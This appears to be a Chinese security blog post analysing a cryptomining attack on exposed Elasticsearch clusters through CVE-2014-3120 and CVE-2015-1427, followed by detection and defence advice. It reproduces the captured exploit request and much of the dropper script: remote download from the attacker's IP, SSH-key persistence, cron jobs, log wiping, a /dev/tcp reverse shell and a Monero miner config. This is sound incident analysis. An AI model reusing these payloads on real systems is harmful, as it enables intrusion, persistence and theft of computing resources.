首页 > 矿场 > 利用ElasticSearch漏洞挖矿案例分析
路安  

利用ElasticSearch漏洞挖矿案例分析

摘要:0x00、前言在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。0x01、入侵手段对于mongodb、redis等数据库的攻击已经讲的非常多

0x00、前言

在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。

0x01、入侵手段

对于mongodb、redis等数据库的攻击已经讲的非常多了,今天给大家分享的是针对不安全的Elasticsearch集群的攻击。这些攻击利用CVE-2014-3120和CVE-2015-1427。这两种攻击仅存在于旧版本的Elasticsearch中,并利用将脚本传递给搜索查询的能力。把有效攻击载荷存储在里面并且执行。

态势感知-网络入侵防护系统中,对相关的入侵有检测功能,策略如下:

1、ET WEB_SERVER Possible CVE-2014-3120 Elastic Search Remote Code Execution Attempt

2、ET WEB_SERVER Possible CVE-2015-1427 Elastic Search Sandbox Escape Remote Code Execution Attempt

通过入侵检测系统,可以获取到有效的入侵载荷。

"POST /_search?pretty HTTP/1.1

Host: xxx.xx.113.xxx:9200

User-Agent: Go-http-client/1.1\r\nContent-Length: 208

Connection: close\r\nAccept-Encoding: gzip

{

"size": 1,

"script_fields": {

"lupin": {

"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh -P /tmp/sssooo\").getText()"

}

}

}

我们分析一下攻击载荷都干了什么事。

1、关闭SElinux,干掉现有挖矿进程

#!/bin/sh

setenforce 0 2 dev/null

echo SELINUX=disabled /etc/sysconfig/selinux 2 /dev/null

...

mv /usr/bin/wget /usr/bin/get

mv /usr/bin/curl /usr/bin/url

ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9

...

pkill -f biosetjenkins

pkill -f Loopback

pkill -f apaceha

pkill -f cryptonight

pkill -f ir29xc1

pkill -f conns

pkill -f irqbalance

pkill -f crypto-pool

pkill -f minexmr

...

2、在crontab添加定时升级程序,添加自己C2主机的ssh key,下载挖矿配置文件,配置防火墙、删除日志、开启反弹shell。

if [ -f "$rtdir" ]

then

echo "i am root"

echo "goto 1" /etc/devtools

chattr -i /etc/devtool*

chattr -i /etc/config.json*

chattr -i /etc/update.sh*

chattr -i /root/.ssh/authorized_keys*

chattr -i /etc/systemctI

if [ -f "/usr/bin/crontab" ]

then

[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/10 * * * * sh /etc/update.sh /dev/null 2 1") | crontab -

else

echo "*/10 * * * * sh /etc/update.sh /dev/null 2 1" ${crondir}

fi

chmod 700 /root/.ssh/

echo /root/.ssh/authorized_keys

chmod 600 root/.ssh/authorized_keys

echo "ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQDPK+J+AIJvoCX67fFzfbNU5MT816KDmggltbgEI0hKZRdmMMe1ao/3CEgIzeqGbTff1suT/F1POUjGrf5t/ZqyIJzCIBKqNsxzM4tRNxrIGrqKnZypRlXdX+uZNaxmNJZGkkmtdeseekped0WnWk5SsvbYghBn4y9lZnsO+C1EgjLNWkbRPuoo/RkWTIXDmB7M7UcfYf+sSpApACt8DRydSEkeY709WtL0aANnN057Wnp/Okv+buM4mnkuteLtZvCAySt7PVBrCKyhItZx9VX/TMegljt/UPDaKfAeWF14Q1ORLRQkzZt9k+pY/ccNNbS53OmG0NhQ/awchmgXUpsP root@vultr.guest" /root/.ssh/authorized_keys

cfg="/etc/config.json"

file="/etc/devtool"

if [-f "/etc/config.json" ]

then

filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`

if [ "$filesize_config" -ne "3629" ]

then

rm /etc/config.json

if [ -f "$bbdir" ]

then

curl --connect-timeout 10 --retry 100 http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/config.json /etc/config.json

elif [ -f "$bbdira" ]

...

fi

pkill -f devtool

else

echo "no need download"

fi

else

...

fi

iptables -F

iptables -X

iptables -A OUTPUT -p tcp --dport 3333 -j DROP

iptables -A OUTPUT -p tcp --dport 5555 -j DROP

iptables -A OUTPUT -p tcp --dport 7777 -j DROP

iptables -A OUTPUT -p tcp --dport 9999 -j DROP

service iptables reload

ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9

history -c

echo /var/spool/mail/root

echo /var/log/wtmp

echo /var/log/secure

echo /root/.bash_history

bash -i /dev/tcp/207.148.70.143/8888 0 1

3、挖矿配置文件

{

"algo": "cryptonight",

"api": {

"port": 0,

"access-token": null,

"id": null,

"worker-id": null,

"ipv6": false,

"restricted": true

},

"asm": true,

"autosave": true,

"av": 0,

"background": false,

"colors": true,

"cpu-affinity": null,

"cpu-priority": null,

"donate-level": 1,

"huge-pages": true,

"hw-aes": null,

"log-file": null,

"max-cpu-usage": 90,

"pools": [

{

"url": "xmr.f2pool.com:13531",

"user": "83p6VPXu8SsZsH22EG9iQxg97M6K81Jft1CGXYwrVgkSa45KQm6Dau9HN6w3oroHKfJkzL2298CVD41eejCvJTd76Grq9wd.gbgbhft656561",

"pass": "x",

"rig-id": null,

"nicehash": false,

"keepalive": false,

"variant": 8,

"tls": false,

"tls-fingerprint": null

},

{

"url": "xmr.pool.minergate.com:45700",

"user": "jbk665q8hws5vxv",

}

],

...

攻击链分析:

1、CVE-2014-3120 / CVE-2015-1427 远程执行漏洞。

2、ssh key 文件变更 /contrab 文件变更。

3、反弹shell/执行挖矿进程。

0x02、防范措施

把以上攻击链分析,放置到大数据关联引擎中,自动化攻击匹配时间在1分钟之内。同时把有关联的数据加入到观察列表中,以备日后APT攻击分析。当然你也可以把这种确定的攻击和反制措施联动起来(防火墙、IPS、ACL等)。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

免责声明
世链财经作为开放的信息发布平台,所有资讯仅代表作者个人观点,与世链财经无关。如文章、图片、音频或视频出现侵权、违规及其他不当言论,请提供相关材料,发送到:2785592653@qq.com。
风险提示:本站所提供的资讯不代表任何投资暗示。投资有风险,入市须谨慎。
世链粉丝群:提供最新热点新闻,空投糖果、红包等福利,微信:juu3644。